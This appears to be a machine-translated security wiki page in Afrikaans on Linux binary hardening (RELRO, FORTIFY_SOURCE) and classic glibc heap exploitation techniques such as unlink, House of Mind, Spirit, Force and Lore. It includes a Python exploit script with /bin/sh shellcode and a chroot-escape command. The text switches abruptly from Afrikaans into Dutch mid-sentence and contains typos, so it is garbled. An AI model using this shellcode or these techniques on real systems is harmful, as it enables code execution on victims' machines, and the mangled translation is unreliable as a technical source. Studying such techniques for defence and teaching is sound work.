Vir die binĂȘre sonder relro, kan ons sien dat die got inskrywingsadres vir fgets 0x404018 is. As ons na die geheueafbeeldings kyk, sien ons dat dit tussen 0x404000 en 0x405000 val, wat die toestemmings rw het, wat beteken dat ons daarna kan lees en skryf. Vir die binĂȘre met relro, sien ons dat die got tabeladres vir die uitvoering van die binĂȘre (pie is geaktiveer, so hierdie adres sal verander) 0x555555557fd0 is. In daardie binĂȘre se geheueafbeelding val dit tussen 0x0000555555557000 en 0x0000555555558000, wat die geheue toestemming r het, wat beteken dat ons slegs daarvan kan lees.

Wat is die omleiding? Die tipiese omleiding wat ek gebruik, is om eenvoudig nie na geheuegebiede te skryf wat deur relro veroorsaak word om slegs leesbaar te wees nie, en 'n ander manier vind om kode-uitvoering te kry.

Let daarop dat die binĂȘre voor die uitvoering die adresse van die funksies moet ken:

  • Lui bind: Die adres van 'n funksie word die eerste keer gesoek as die funksie aangeroep word. Dus moet die GOT skryftoestemmings tydens uitvoering hĂȘ.
  • Bind nou: Die adresse van die funksies word aan die begin van die uitvoering opgelos, waarna slegs leesbare toestemmings aan sensitiewe afdelings soos .got, .dtors, .ctors, .dynamic, .jcr gegee word. `**-z relro**y**-z now`**

Om te kontroleer of 'n program Bind nou gebruik, kan jy doen:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Cuando die binĂȘre lĂȘer in die geheue gelaai word en 'n funksie vir die eerste keer geroep word, spring dit na die PLT (Procedure Linkage Table), van daar af maak dit 'n sprong (jmp) na die GOT en ontdek dat daardie inskrywing nie opgelos is nie (dit bevat 'n adres volgende van die PLT). Dit roep dan die Runtime Linker of rtfd aan om die adres op te los en in die GOT te stoor.

Wanneer 'n funksie geroep word, word die PLT geroep, dit het die adres van die GOT waar die adres van die funksie gestoor word, dus rig die vloei daarheen en roep so die funksie aan. Maar as dit die eerste keer is dat die funksie geroep word, is wat in die GOT is die volgende instruksie van die PLT, dus volg die vloei die kode van die PLT (rtfd) en vind die adres van die funksie, stoor dit in die GOT en roep dit aan.

By die laai van 'n binĂȘre lĂȘer in die geheue, het die samesteller gesĂȘ waar dit data moet plaas wat tydens die uitvoering van die program gelaai moet word.

Lui binding —> Die adres van die funksie word die eerste keer gesoek wanneer die funksie geroep word, sodat die GOT skryfregte het sodat wanneer dit gesoek word, dit daar gestoor word en nie weer gesoek hoef te word nie.

Bind nou —> Die adresse van die funksies word gesoek wanneer die program gelaai word en die regte van die .got, .dtors, .ctors, .dynamic, .jcr afdelings word verander na slegs lees. -z relro en -z now

Ten spyte hiervan is programme oor die algemeen nie ingewikkeld met hierdie opsies nie, dus bly hierdie aanvalle moontlik.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW —> Om te sien of BIND NOW gebruik word

Fortify Source -D_FORTIFY_SOURCE=1 of =2

Probeer om funksies te identifiseer wat onveilig van die een plek na die ander kopieer en verander die funksie na 'n veilige funksie.

Byvoorbeeld:
char buf[16];
strcpy(but, source);

Dit identifiseer dit as onveilig en verander dan strcpy() na __strcpy_chk() deur die grootte van die buffer as die maksimum grootte om te kopieer.

Die verskil tussen =1 of =2 is dat:

Die tweede staan nie toe dat %n van 'n afdeling met skryfregte kom nie. Verder kan die parameter vir direkte toegang tot argumente slegs gebruik word as die voriges gebruik word, dit wil sĂȘ, slegs %3$d kan gebruik word as %2$d en %1$d voorheen gebruik is.

Om die foutboodskap te wysig, word argv[0] gebruik, dus as dit ingestel word op die adres van 'n ander plek (soos 'n globale veranderlike) sal die foutboodskap die inhoud van daardie veranderlike wys. Bl. 191

Vervanging van Libsafe

Dit word geaktiveer met: LD_PRELOAD=/lib/libsafe.so.2
of
“/lib/libsave.so.2” > /etc/ld.so.preload

Dit onderskep oproepe na sekere onveilige funksies met ander veilige funksies. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir samestellings met -fomit-frame-pointer, nie statiese samestellings nie, nie alle kwesbare funksies word veilig nie en LD_PRELOAD werk nie in bineĂȘre lĂȘers met suid nie).

ASCII Gepantserde Adresruimte

Dit behels die laai van gedeelde biblioteke vanaf 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Tog stop dit eintlik byna geen aanvalle nie, veral nie in little endian nie.

ret2plt

Dit behels die uitvoering van 'n ROP sodat die strcpy@plt-funksie (van die plt) geroep word en na die inskrywing van die GOT gewys word en die eerste byte van die funksie wat geroep moet word (system()) gekopieer word. Daarna word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer... Uiteindelik word die adres wat in die GOT gestoor is, wat system() sal wees, geroep.

Valse EBP

Vir funksies wat EBP as register gebruik om na die argumente te wys, moet die EIP verander word en na system() gewys word, moet die EBP ook verander word om na 'n geheuegebied te wys wat enige 2 byte het en dan die adres na &”/bin/sh”.

Hokke met chroot()

debootstrap -arch=i386 hardy /home/user —> Installeer 'n basiese stelsel onder 'n spesifieke subgids

'n Admin kan uit een van hierdie hokke uitkom deur te doen: mkdir foo; chroot foo; cd ..

Kode-instrumentasie

Valgrind —> Soek foute
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Oorvloeiings: Basiese aanvalle

Toegewysde stuk

prev_size |
size | —Kop
*mem | Data

Vry stuk

prev_size |
size |
*fd | Wysiger na volgende stuk
*bk | Wysiger na vorige stuk —Kop
*mem | Data

Die vry stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vry stukke agtermekaar wees nie (hulle word saamgevoeg).

In "size" is daar bietjies om aan te dui: Of die vorige stuk in gebruik is, of die stuk toegewys is deur middel van mmap() en of die stuk behoort tot die primĂȘre arena.

As 'n stuk vrygestel word en enige van die aangrensende stukke is vry, word hulle saamgevoeg deur die makro unlink() en die nuwe, groter stuk word na frontlink() gestuur om in die toepaslike bin ingevoeg te word.

unlink(){
BK = P->bk; —> Die BK van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD = P->fd; —> Die FD van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk
BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk
}

Dus as ons die P->bk kan verander met die adres van 'n shellcode en die P->fd met die adres na 'n inskrywing in die GOT of DTORS minus 12, word bereik:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

En dus word die shellcode uitgevoer wanneer die program eindig.

Verder skryf die 4de instruksie van unlink() iets en die shellcode moet hiervoor herstel word:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Dit veroorsaak die skryf van 4 byte vanaf die 8ste byte van die shellcode, dus moet die eerste instruksie van die shellcode 'n sprong wees om hierdie te vermy en in 'n paar nops te val wat na die res van die shellcode lei.

Dus die aanval word geskep:

In die buffer1 plaas ons die shellcode beginnende met 'n sprong sodat dit na die nops of die res van die shellcode val.

Na die shellcode plaas ons vulsel tot by die prev_size en size veld van die volgende stuk. Hier plaas ons 0xfffffff0 (sodat die prev_size oorskryf word om die bit te hĂȘ wat sĂȘ dat dit vry is) en "-4" (0xfffffffc) in die size (sodat wanneer dit in die 3de stuk ondersoek word of die 2de vry was, dit eintlik na die gewysigde prev_size gaan wat sal sĂȘ dat dit vry is) -> Dus wanneer free() ondersoek instel, sal dit na die size van die 3de gaan, maar eintlik na die 2de - 4 gaan en dink dat die 2de stuk vry is. En dan roep dit unlink() aan.

Wanneer unlink() aangeroep word, gebruik dit die eerste data van die 2de stuk as P->fd, dus die adres wat oorskryf moet word - 12 (want in FD->bk sal dit 12 by die adres wat in FD gestoor is, optel). En op daardie adres word die tweede adres in die 2de stuk ingevoer, wat die adres na die shellcode moet wees (valse P->bk).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bytes van vulsel shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Dit is belangrik dat die bit wat aandui dat die vorige stuk vry is, op 1 is

fake_size = pack("<I”, 0xfffffffc) #-4, sodat dit dink dat die "grootte" van die 3de stuk 4 byte agter is (dit wys na prev_size) want dit is waar dit kyk of die 2de stuk vry is

addr_sc = pack("<I", 0x0804a008 + 8) #In die payload gaan ons aan die begin 8 byte vul

got_free = pack("<I", 0x08048300 - 12) #Adres van free() in die plt-12 (dit sal die adres wees wat oorskryf word sodat die shellcode die 2de keer wat free() geroep word, uitgevoer word)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Soos gesĂȘ begin die payload met 8 byte vul want waarom nie

payload += prev_size + fake_size + got_free + addr_sc #Die 2de stuk word verander, got_free wys na waar ons die adres addr_sc + 12 gaan stoor

os.system("./8.3.o " + payload)

unset() in omgekeerde volgorde vrylaat (wargame)

Ons beheer 3 aaneenlopende stukke en hulle word in omgekeerde volgorde vrygelaat.

In daardie geval:

Die shellcode word in stuk c geplaas

Die stuk a word gebruik om die b te oorskryf sodat die grootte die PREV_INUSE-bit gedeaktiveer het sodat dit dink dat stuk a vry is.

Daarbenewens word die grootte in die b-header oorskryf om -4 te wees.

Dus, die program sal dink dat "a" vry is en in 'n bin is, en dit sal unlink() roep om dit af te koppel. Tog, omdat die vorige grootte -4 is, sal dit dink dat die "a" stuk eintlik by b+4 begin. Met ander woorde, dit sal unlink() na 'n stuk roep wat by b+4 begin, sodat die "fd" aanwyser by b+12 sal wees en die "bk" aanwyser by b+16 sal wees.

Op hierdie manier, as ons die adres van die shellcode in bk plaas en die adres van die "puts()"-funksie -12 in fd plaas, het ons ons payload.

Frontlink-tegniek

Frontlink word geroep wanneer iets vrygelaat word en geen van sy aangrensende stukke vry is nie, unlink() word nie geroep nie, maar frontlink() word direk geroep.

'n Nuttige kwesbaarheid wanneer die aangevalle malloc nooit vrygelaat word nie (free()).

Benodig:

'n Buffer wat oorstroom kan word met die insetfunksie

'n Buffer wat aangrensend daaraan is wat vrygelaat moet word en waarvan die fd-veld van sy kop verander sal word deur die oorloop van die vorige buffer

'n Buffer om vry te laat met 'n groter grootte as 512 maar kleiner as die vorige buffer

'n Buffer wat voor stap 3 verklaar is wat die prev_size van hierdie buffer kan oorskryf

Op hierdie manier, deur twee mallocs onbeheerd te oorskryf en een beheerd maar slegs een keer vry te laat, kan ons 'n aanval uitvoer.

Kwesbaarheid van dubbele free()

As free() twee keer met dieselfde aanwyser geroep word, is daar twee bins wat na dieselfde adres wys.

As ons een wil hergebruik, sal dit sonder probleme toegewys word. As ons die ander wil gebruik, sal dieselfde spasie toegewys word, sodat die "fd" en "bk" aanwysers vervals word met die data wat die vorige toewysing sal skryf.

Na free()

'n Voorheen vrygelaatde aanwyser word weer sonder beheer gebruik.

8 Heap-oorvloeiings: Gevorderde aanvalle

Die Unlink() en FrontLink() tegnieke is verwyder toe die unlink()-funksie gewysig is.

The house of mind

Slegs een oproep aan free() is nodig om arbitrĂȘre kode uit te voer. Dit is belangrik om 'n tweede stuk te soek wat deur 'n vorige stuk oorstroom kan word en vrygelaat kan word.

'n Oproep aan free() veroorsaak die aanroep van public_fREe(mem), dit doen:

mstate ar_ptr;

mchunkptr p;




p = mem2chunk(mes); —> Gee 'n aanwyser na die adres waar die stuk begin (mem-8)




ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]




_int_free(ar_ptr, mem);

}

In [1] word die grootteveld en die NON_MAIN_ARENA-bit nagegaan, wat verander kan word sodat die toets waar is en heap_for_ptr() uitgevoer word wat 'n and met "mem" doen en die minste beduidende 2.5 byte nul maak (in ons geval van 0x0804a000 maak dit 0x08000000) en toegang kry tot 0x08000000->ar_ptr (asof dit 'n struct heap_info is)

Op hierdie manier, as ons byvoorbeeld 'n stuk kan beheer in 0x0804a000 en 'n stuk in 0x081002a0 vrygelaat gaan word, kan ons na die adres 0x08100000 gaan en skryf wat ons wil, byvoorbeeld 0x0804a000. Wanneer hierdie tweede stuk vrygelaat word, sal dit vind dat heap_for_ptr(ptr)->ar_ptr die waarde is wat ons in 0x08100000 geskryf het (want dit pas die and toe op 0x081002a0 wat ons vroeër gesien het en daarvandaan kry dit die waarde van die eerste 4 byte, die ar_ptr)

Op hierdie manier word _int_free(ar_ptr, mem) geroep, dit wil sĂȘ, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){


bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Soos ons vantevore gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygelaat gaan word, skryf.

Soos unsorted_chunks gedefinieer word, weet ons dat:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Daarom, as ons die waarde van __DTOR_END__-12 in av->bins[2] skryf, sal die laaste instruksie in __DTOR_END__ die adres van die tweede stuk skryf.

Met ander woorde, aan die begin van die eerste stuk moet ons die adres van __DTOR_END__-12 baie keer plaas omdat av->bins[2] dit daarvandaan sal kry.

Op die adres waar die adres van die tweede stuk met die laaste 5 nulle val, moet ons die adres van hierdie eerste stuk skryf sodat heap_for_ptr() dink dat die ar_ptr aan die begin van die eerste stuk is en av->bins[2] daarvandaan kry.

In die tweede stuk en danksy die eerste, oorskryf ons die prev_size met 'n sprong 0x0c en die grootte met iets om -> NON_MAIN_ARENA te aktiveer

Daarna plaas ons 'n klomp nops in die tweede stuk en uiteindelik die shellcode

Op hierdie manier sal _int_free(STUK1, STUK2) geroep word en die instruksies volg om die adres van prev_size van STUK2 in __DTOR_END__ te skryf wat dan na die shellcode sal spring.

Om hierdie tegniek toe te pas, is daar 'n paar meer vereistes wat die payload 'n bietjie meer kompliseer. Hierdie tegniek is nie meer toepaslik nie omdat bykans dieselfde pleister as vir unlink toegepas is. Hulle vergelyk of die nuwe plek waarna dit wys, ook na hom wys.

Fastbin

Dit is 'n variasie van The house of mind

Ons wil die volgende kode uitvoer waarop ons kom na die eerste toetsing van die _int_free() funksie

fb = &(av->fastbins[fastbin_index(size)] —> Waar fastbin_index(sz) —> (sz >> 3) - 2




p->fd = *fb

*fb = p

Op hierdie manier, as dit in "fb" geplaas word, gee dit die adres van 'n funksie in die GOT, op hierdie adres sal die adres na die oorskryfde stuk geplaas word. Hiervoor sal dit nodig wees dat die arena naby die dtors-adresse is. Meer presies, av->max_fast moet in die adres wees wat ons gaan oorskryf.

Omdat ons met The House of Mind gesien het dat ons die posisie van die av beheer het.

Dus as ons 'n grootte van 8 + NON_MAIN_ARENA + PREV_INUSE in die grootteveld plaas —> fastbin_index() sal fastbins[-1] teruggee, wat na av->max_fast sal wys

In hierdie geval sal av->max_fast die adres wees wat oorskryf word (nie waarheen dit wys nie, maar daardie posisie sal oorskryf word).

Daarbenewens moet die aangrensende stuk aan die vrygestelde stuk groter as 8 wees -> Omdat ons gesĂȘ het dat die grootte van die vrygestelde stuk 8 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons aan die begin 'n jmp plaas wat in nops val).

Daarbenewens moet daardie selfde valse stuk kleiner wees as av->system_mem. av->system_mem is 1848 byte verder.

As gevolg van die nulle van _DTOR_END_ en die min adres in die GOT, is geen van hierdie afdresseringe geskik om oorskryf te word nie, so laat ons kyk hoe om fastbin toe te pas om die stoor aan te val.

'n Ander manier om aan te val is om die av na die stoor te rig.

As ons die grootte verander sodat dit 16 in plaas van 8 is, dan: fastbin_index() sal fastbins[0] teruggee en ons kan dit gebruik om die stoor aan te val.

Hiervoor mag daar geen kanarie of vreemde waardes in die stoor wees nie, ons moet eintlik hier wees: 4 nulbyte + EBP + RET

Die 4 nulbyte is nodig sodat die av na hierdie adres sal wees en die eerste element van 'n av is die mutex wat 0 moet wees.

Die av->max_fast sal die EBP wees en sal 'n waarde wees wat ons sal help om die beperkings te omseil.

In die av->fastbins[0] sal die adres van p oorskryf word en dit sal die RET wees, sodat dit na die shellcode sal spring.

Daarbenewens, in av->system_mem (1484 byte bo die posisie in die stoor) sal daar genoeg rommel wees wat ons sal toelaat om die toetsing wat gedoen word, te omseil.

Daarbenewens moet die aangrensende stuk aan die vrygestelde stuk groter as 8 wees -> Omdat ons gesĂȘ het dat die grootte van die vrygestelde stuk 16 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons aan die begin 'n jmp plaas wat in nops val wat na die grootteveld van die nuwe valse stuk kom).

The House of Spirit

In hierdie geval wil ons 'n aanwyser na 'n malloc hĂȘ wat deur die aanvaller verander kan word (byvoorbeeld dat die aanwyser op die stoor onder 'n moontlike oorloop na 'n veranderlike is).

Sodoende kan ons hierdie aanwyser laat wys waarheen ook al. Tog is nie enige plek geldig nie, die grootte van die valse stuk moet kleiner wees as av->max_fast en meer spesifiek gelyk aan die grootte wat versoek word in 'n toekomstige oproep na malloc()+8. Daarom, as ons weet dat na hierdie kwesbare aanwyser 'n oproep na malloc(40) gemaak word, moet die grootte van die valse stuk gelyk wees aan 48.

As die program byvoorbeeld die gebruiker vra vir 'n nommer, kan ons 48 invoer en die veranderlike malloc-aanwyser wys na die volgende 4 byte (wat dalk aan die EBP behoort, sodat die 48 agterbly, asof dit die kopgrootte is). Daarbenewens moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval is ptr=EBP), dit wil sĂȘ, 8 < ptr-4+48 < av->system_mem.

Indien hieraan voldoen word, wanneer die volgende malloc wat ons gesĂȘ het malloc(40) is, geroep word, sal die adres van die EBP aan hom toegewys word. Indien die aanvaller ook kan beheer wat in hierdie malloc geskryf word, kan hy beide die EBP en die EIP met die adres wat hy wil, oorskryf.

Ek dink dit is omdat wanneer dit vrygelaat word, free() sal onthou dat daar 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer moet word, in die adres wat na die EBP van die stoor wys, is, sodat dit daardie adres toeken.

The House of Force

Dit is nodig:

  • 'n oorloop na 'n stuk wat die wilderness kan oorskryf
  • 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is
  • 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word

Die eerste ding wat gedoen word, is om die grootte van die wilderness-stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige versoek om geheue wat groot genoeg is, in _int_malloc() hanteer sal word sonder om die heap uit te brei.

Die tweede is om die av->top te verander sodat dit wys na 'n geheuegebied onder die beheer van die aanvaller, soos die stoor. In av->top sal &EIP - 8 geplaas word.

Ons moet av->top oorskryf sodat dit wys na die geheuegebied onder die beheer van die aanvaller:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim kry die waarde van die adres van die huidige wilderness-stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die aantal byte wat deur malloc() versoek is. Dus as &EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, dan is die hoeveelheid wat gereserveer moet word in die beheerde malloc sodat av->top na $EIP-8 wys vir die volgende malloc():

0xbffff224 - 0x080c2788 = 3086207644.

Op hierdie manier word die veranderde waarde in av->top gestoor en die volgende malloc sal na die EIP wys en dit kan oorskryf.

Dit is belangrik om te weet dat die grootte van die nuwe wilderness-stuk groter moet wees as die versoek wat deur die laaste malloc() gemaak is. Dit wil sĂȘ, as die wilderness na &EIP-8 wys, sal die grootte presies in die EBP-veld van die stoor wees.

The House of Lore

Korrupsie SmallBin

Die vrygestelde stukke word in die bin ingevoeg op grond van hul grootte. Maar voordat hulle ingevoeg word, word hulle in unsorted bins bewaar. 'n Stuk word nie dadelik in sy bin geplaas as dit vrygestel word nie, maar bly in unsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde stuk kan help, word dit teruggegee, maar as 'n groter stuk gereserveer word, word die vrygestelde stuk in die toepaslike bin geplaas.

Om die kwesbare kode te bereik, moet die geheueversoek groter wees as av->max_fast (gewoonlik 72) en minder as MIN_LARGE_SIZE (512).

As daar 'n stuk van die regte grootte in die bin is, word dit teruggegee nadat dit ontkoppel is:

bck = victim->bk; Wys na die vorige stuk, dit is die enigste inligting wat ons kan verander.

bin->bk = bck; Die voorlaaste stuk word die laaste, as bck na die stoor wys, sal die volgende gereserveerde stuk hierdie adres kry

bck->fd = bin; Die lys word gesluit deur dit na bin te laat wys

Daar is nodig: Reserveer twee mallocs, zodat de eerste kan worden overschreven nadat de tweede is vrijgegeven en in zijn bin is geplaatst (dwz een malloc van een grotere omvang dan de tweede malloc voordat de overflow plaatsvindt).

Laat de malloc waarvan het adres door de aanvaller wordt gekozen, worden gecontroleerd door de aanvaller.

Het doel is als volgt: als we een overflow kunnen veroorzaken naar een heap die een reeds vrijgegeven en in zijn bin geplaatst stuk eronder heeft, kunnen we zijn bk-pointer wijzigen. Door de bk-pointer te wijzigen en dit stuk het eerste in de bin-lijst wordt en wordt gereserveerd, zal de bin worden misleid en geloven dat het volgende stuk in de valse richting ligt die we hebben opgegeven (bijvoorbeeld naar de stack of GOT). Als er dan opnieuw een stuk wordt gereserveerd en de aanvaller er machtigingen voor heeft, zal het stuk op de gewenste locatie worden gegeven en kan erin worden geschreven.

Na het vrijgeven van het gewijzigde stuk is het nodig om een groter stuk te reserveren dan het vrijgegeven stuk, zodat het gewijzigde stuk uit de unsorted bins komt en in zijn bin wordt geplaatst.

Eenmaal in zijn bin is het tijd om de bk-pointer te wijzigen via de overflow zodat deze wijst naar het adres dat we willen overschrijven.

De bin moet wachten tot er voldoende keren een beroep wordt gedaan op malloc() om de gewijzigde bin opnieuw te gebruiken en de bin te misleiden door te geloven dat het volgende stuk zich op de valse locatie bevindt. Vervolgens wordt het gewenste stuk gegeven.

Om de kwetsbaarheid zo snel mogelijk te activeren, is het ideaal om het volgende te doen: reserveer het kwetsbare stuk, reserveer het stuk dat zal worden gewijzigd, geef dit stuk vrij, reserveer een groter stuk dan het te wijzigen stuk, wijzig het stuk (kwetsbaarheid), reserveer een stuk van dezelfde grootte als het aangetaste stuk en reserveer een tweede stuk van dezelfde grootte dat zal wijzen naar het gekozen adres.

Om deze aanval te beschermen, wordt de typische controle gebruikt dat het stuk "niet" vals is: wordt gecontroleerd of bck->fd naar het slachtoffer wijst. Met andere woorden, in ons geval, als de fd-pointer van het valse stuk dat naar de stack wijst, naar het slachtoffer wijst. Om deze bescherming te omzeilen, moet de aanvaller op de een of andere manier (waarschijnlijk via de stack) in staat zijn om het adres van het slachtoffer op de juiste plaats te schrijven. Zodat het lijkt op een echt stuk.

Corruptie LargeBin

Dezelfde vereisten als voorheen zijn nodig, en nog wat meer, bovendien moeten de gereserveerde stukken groter zijn dan 512.

De aanval is vergelijkbaar met de vorige, dat wil zeggen, het bk-pointer moet worden gewijzigd en al die oproepen naar malloc() zijn nodig, maar bovendien moet de grootte van het gewijzigde stuk worden aangepast zodat die grootte - nb < MINSIZE is.

Bijvoorbeeld, het instellen van de grootte op 1552 zorgt ervoor dat 1552 - 1544 = 8 < MINSIZE (de aftrek kan niet negatief zijn omdat een unsigned wordt vergeleken).

Bovendien is er een patch geĂŻntroduceerd om het nog ingewikkelder te maken.

Heap Spraying

Het komt er in feite op neer om zoveel mogelijk geheugen te reserveren voor heaps en deze te vullen met een nop-kussen gevolgd door een shellcode. Bovendien wordt 0x0c gebruikt als kussen. Er zal worden geprobeerd om naar het adres 0x0c0c0c0c te springen, dus als een adres waarop wordt overgeschreven met dit kussen, zal daar naartoe worden gesprongen. De tactiek is in feite om zoveel mogelijk te reserveren om te zien of er een pointer wordt overschreven en naar 0x0c0c0c0c te springen in de hoop dat daar nops zijn.

Heap Feng Shui

Dit houdt in dat door reserveringen en vrijgaven het geheugen wordt gezaaid zodat er gereserveerde stukken tussen vrije stukken blijven. Het te overstromen buffer zal zich in een van deze stukken bevinden.

Interessante cursussen

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Andere manieren om HackTricks te ondersteunen: